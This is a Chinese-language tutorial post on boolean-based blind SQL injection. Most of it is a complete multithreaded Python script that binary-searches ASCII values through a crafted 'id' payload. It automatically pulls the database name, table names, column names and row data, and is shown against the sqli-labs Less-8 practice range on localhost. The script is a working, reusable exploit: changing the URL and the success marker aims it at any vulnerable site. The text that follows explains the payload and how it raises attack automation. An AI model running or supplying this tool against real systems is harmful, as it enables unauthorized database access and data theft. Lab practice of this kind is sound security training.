利用二分法进行 SQL 盲注

什么是sql注入？

SQL 注入（SQL Injection）是一种常见的 Web 安全漏洞，攻击者可以通过构造恶意 SQL 语句来访问数据库中的敏感信息。在某些情况下，服务器不会直接返回查询结果，而是通过布尔值（True/False）或时间延迟等方式提供间接反馈，这类攻击被称为 盲注（Blind SQL Injection）。

布尔盲注代码

import requests
import concurrent.futures

def binary_search_character(url, query, index, low=32, high=127):
    while low < high:
        mid = (low + high + 1) // 2
        payload = f"1' AND ASCII(SUBSTRING(({query}),{index},1)) >= {mid} -- "
        res = {"id": payload}
        r = requests.get(url, params=res)

        if "You are in.........." in r.text:
            low = mid
        else:
            high = mid - 1

    return chr(low) if low > 32 else ''

def extract_data(url, query, max_length=200):
    extracted_data = [''] * max_length
    
    with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:
        future_to_index = {executor.submit(binary_search_character, url, query, i): i for i in range(1, max_length + 1)}
        
        for future in concurrent.futures.as_completed(future_to_index):
            index = future_to_index[future]
            try:
                result = future.result()
                if result:
                    extracted_data[index - 1] = result
                    print(f": {''.join(extracted_data).strip()}")
            except Exception as exc:
                print(f"Error extracting character {index}: {exc}")
    
    return ''.join(extracted_data).strip()

if __name__ == '__main__':
    url = 'http://127.0.0.1/sqlilabs/Less-8/index.php'
    database_name = extract_data(url, "SELECT database()")
    print(f"数据库名: {database_name}")

    table_name_query = f"SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='{database_name}'"
    table_names = extract_data(url, table_name_query)
    print(f"表名: {table_names}")

    table_name = table_names.split(',')[0]
    column_name_query = f"SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='{table_name}' AND table_schema='{database_name}'"
    column_names = extract_data(url, column_name_query)
    print(f"列名: {column_names}")

    column_name = column_names.split(',')[1]
    data_query = f"SELECT GROUP_CONCAT({column_name}) FROM {database_name}.{table_name}"
    extracted_values = extract_data(url, data_query)
    print(f"数据: {extracted_values}")
    print(f"数据库名: {database_name}")
    print(f"表名: {table_names}")
    print(f"列名: {column_names}")
    print(f"数据: {extracted_values}")

代码主要内容

（1）二分法查找单个字符

while low < high:
    mid = (low + high + 1) // 2

• 采用二分查找方法，缩小可能的 ASCII 码范围。

SQL 注入 Payload：

payload = f"1' AND ASCII(SUBSTRING(({query}),{index},1)) >= {mid} -- "

• SUBSTRING(({query}),{index},1): 取出 SQL 结果的第 index 个字符。
• ASCII(...): 获取该字符的 ASCII 码。
• >= {mid}: 判断该字符的 ASCII 是否大于等于 mid。

（2）并发优化数据提取

with concurrent.futures.ThreadPoolExecutor(max_workers=10) as executor:

• 使用 ThreadPoolExecutor 并发执行多个字符的爆破，提高速度。

future_to_index = {executor.submit(binary_search_character, url, query, i): i for i in range(1, max_length + 1)}

• 提交多个任务，每个任务负责获取 SQL 结果中的某个字符。

攻击流程

1. 获取数据库名：

   database_name = extract_data(url, "SELECT database()")
   

2. 获取表名：

   table_name_query = f"SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema='{database_name}'"
   

3. 获取列名：

   column_name_query = f"SELECT GROUP_CONCAT(column_name) FROM information_schema.columns WHERE table_name='{table_name}' AND table_schema='{database_name}'"
   

4. 提取数据：

   data_query = f"SELECT GROUP_CONCAT({column_name}) FROM {database_name}.{table_name}"
   

代码优化：

1. 并发优化

• 使用 ThreadPoolExecutor 并发执行查询，同时获取多个字符，提高数据提取效率。
• 减少等待时间：相比单线程依次查询每个字符，多线程可以同时进行多个查询，加快数据恢复。

2. 自动化数据提取

• 从数据库名到数据内容，全程自动化：
  • 依次提取数据库名、表名、列名、数据，无需手动输入 SQL 语句，提高攻击自动化程度。

效果展示（使用sqli-labs靶场的第8关）